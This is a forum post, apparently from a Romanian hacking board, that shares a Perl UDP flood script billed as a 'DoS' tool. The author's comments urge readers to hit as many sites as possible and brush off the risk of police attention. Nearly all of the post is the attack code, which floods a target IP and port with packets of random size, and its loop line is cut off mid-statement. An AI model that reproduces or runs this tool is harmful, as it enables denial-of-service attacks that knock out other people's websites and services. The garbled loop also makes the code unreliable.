Locked Perl Dos # simple the best

[sQuo]

[LENGUAJE=perl]

#!/usr/bin/perl

 

# Creat by ADMIN

#IP - Folosestel in scop umanitar sa tragi pe pula cat mai multe site-uri .

#Port - Uz '80' for HTTP ori '53' sau '443' ptr https.

#Size - Uz '100 - 1000' (recomand).

 

use Socket;

use strict;

 

print '

************************************************************************

* $$$$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$$ $$ $$ $$$$$$$$ *

* $ $ $ $ $ $ $ $ $ $$ $ *

* $ $ $ $ $ $ $ $ $ $$ $ *

* $$$$$$$$ $$$$$$$$ $ $ $ $ $ $ $ $$ $$$$$$$$ *

* $ $ $ $ $ $ $ $ $ $$ $ *

* $ $ $ $ $ $ $ $ $ $$ $ *

* $$$$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$$ $ $$ $$$$$$$$ *

* *

* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *

* $ Proiect code by Admin $ *

* $ Urmeaza-ma $ *

* $ Site

This is the hidden content, please

• Sign In
• or
• Sign Up

by Kalashmachine $ *

* $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ *

* *

* Important : Ma doare in pula daca vine garda dupa tine *

************************************************************************

';

print "\n";

 

 

if ($#ARGV != 3) {

print "\n\t\t\t***Daca esti prost iesi afara***\n";

print "-Exemplu perl Downz0ne.pl x.x.x.x 80 1000 300\n";

exit(1);

}

 

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Nu se poate conecta $ip\n";

$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "~Pentru anulare atac \'Ctrl-C\'\n\n";

print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";

print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";

print "Pentru anulare atac'Ctrl-C'\n" unless $time;

for (;time()

$psize = $size ? $size : int(rand(1500-64)+64) ;

$pport = $port ? $port : int(rand(65500))+1;

 

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

[/LENGUAJE]